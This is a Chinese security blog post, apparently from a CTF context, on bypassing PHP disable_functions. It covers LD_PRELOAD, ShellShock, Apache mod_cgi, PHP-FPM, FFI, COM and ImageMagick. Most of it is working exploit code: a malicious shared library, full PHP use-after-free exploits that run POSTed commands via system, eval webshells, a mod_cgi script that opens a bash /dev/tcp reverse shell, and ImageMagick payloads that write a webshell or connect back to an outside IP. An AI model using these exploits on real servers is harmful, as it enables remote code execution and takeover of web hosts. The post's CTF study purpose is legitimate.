Bypasss Disable_function

admin 2022年1月6日01:44:09安全博客 CTF专场评论14 views20838字阅读69分27秒阅读模式

PHP 的 disable_functions 用于禁用一些危险的函数避免被攻击者利用

disable_function专题: https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions

寻找非过滤函数

1
2
3
4
5
function="pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv"
disable_function="eee,tdd"
for i in disable_function.split(","):
if i not in function:
print(i)

LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

1
2
putenv():PHP函数,可以设置环境变量
mail(),error_log():PHP函数,在运行时会执行系统中的程序:sendmail

大致步骤:

  • 生成一个我们的恶意动态链接库文件
  • 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
  • 配合php的某个函数去触发我们的恶意动态链接库文件
  • RCE并获取flag

getflag.c

1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/flag.txt");
}

编译成getflag.so

1
gcc -shared -fPIC getflag.c -o getflag.so

上传到tmp目录下,

在网站根目录创建shell.php

1
2
3
4
5
<?Php
putenv("LD_PRELOAD=/tmp/getflag.so");
mail("", "", "", "");
error_log("",1,"","");
?>

然后去GET请求包含shell.php url/?ant=include(%27shell.php%27);
在tmp目录上生成flag.txt,包含flag,蚁剑记得重新刷新一下目录

ShellShock

ShellShock,破壳漏洞,出现于2014年
利用bash破壳漏洞(CVE-2014-6271),该漏洞存在于bash 1.14 – 4.3版本中
https://www.cnblogs.com/qmfsun/p/7591757.html
可以通过以下命令来判断是否存在这个漏洞

1
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果结果中有 vulnerable说明存在这个漏洞,执行了echo vulnerable这个语句。
大致原理:
bash shell中定义环境变量通过函数名称来调用时,正常情况下是这样
在这里插入图片描述
Bypasss Disable_function
但是对于存在shellshock漏洞的环境下,Bash对于环境变量只是检测到函数,并且从’{‘开始执行,但是并没有在’}’后停止,也就是说定义在函数体外shell命令也会执行,所以env x='() { :;}; echo vulnerable' 输出了vulnerable。

例题:
查看phpinfo() 和上题一样还是没有禁用error_log函数。正常情况下蚁剑已经实现通过ShellShock漏洞,直接拿到shell,但是这题不行。
上传shell.php,并访问

1
2
3
4
5
6
<?php
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/flag.txt");
error_log("admin",1);
//mail("[email protected]","","","","");
?>

通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。
error_log()函数会在执行sh -c -t -i触发payload

Apache Mod CGI

需要满足几个条件:

  • 必须是apache环境
  • mod_cgi已经启用
  • 必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
  • 必须有权限写.htaccess文件

例:
.htaccess内容:

1
2
Options +ExecCGI
AddHandler cgi-script .test #表示.stest后缀的文件都会被当作cgi脚本执行

shell.test

1
2
3
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
echo&ls

这里没尝试成功,猜测要给shell.test给777权限

注解:

Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。
关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章:http://www.365mini.com/page/apache-options-directive.htm
当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本

上传shell.php,vps监听端口,访问shell.php,反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$cmd = "bash -i >& /dev/tcp/vpsip/port 0>&1"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

PHP-FPM

详情可看此篇文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

可用蚁剑 disable_functions 插件绕过
Bypasss Disable_function
会生成 .antproxy.php 文件,密码ant
Bypasss Disable_function
连接 .antproxy.php 文件

GC UAF

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3

使用条件:
Linux 操作系统
PHP 版本
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date

exp:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
或者直接蚁剑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

FFI 扩展

FFI扩展
php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的
https://www.laruence.com/2020/03/11/5475.html

1
2
3
4
5
6
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
?>

用蚁剑

Json Serializer UAF

利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
<?php

# Author: https://github.com/mm0r1

$cmd = $_POST["pass"];

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
public static $leak;
}

class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

# unable to leak ro segments
public function leak1($addr) {
global $spl1;

$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}

# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;

# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;
}

public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);

$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');

$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();

$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);

$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000

if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry

# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}

# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}

# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;

$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}

# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}

# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}

# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

$spl1->offsetGet($cmd);

exit();
}
}

$y = [new Z()];
json_encode([&$y]);
?>

Backtrace UAF

影响版本是7.0-7.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}
?>

COM

window下的组件,开启组件(php5.4以上),开启com.allow_dcom = true,添加extension=php_com_dotnet.dll

Bypasss Disable_function
exp.php

1
2
3
4
5
6
7
8
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

ImageMagick

imagemagick是一个用于处理图片的程序,如果上传的图片含有攻击代码,在处理时可被远程执行任意代码(CVE-2016–3714)
写一句话到网站根目录下:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \'<?php eval($_POST[\'ant\']);?>\' > shell.php")'
pop graphic-context

反弹 shell:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
pop graphic-context

例题

EasyThinking

https://xz.aliyun.com/t/7131
即session后缀是我们可控的,那么只要在写入session时数据我们可控,便可进行写shell;查看控制器,其主要逻辑代码位于app/home/controller/Member.php这个控制器内。Member控制器的search方法有这样一个判断:

1
2
3
4
if (!session('?UID')){    
return redirect('/home/member/login');
}
$data = input("post.");$record = session("Record");if (!session("Record")){ session("Record",$data["key"]);}

https://github.com/mm0r1/exploits/tree/master

参考文章:
https://writeup.ctfhub.com/Skill/Web%E8%BF%9B%E9%98%B6/PHP/Bypass-disable-function/3d4335ed.html

https://blog.csdn.net/rfrder/article/details/109078117

https://www.anquanke.com/post/id/208451

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:44:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Bypasss Disable_function http://cn-sec.com/archives/722472.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: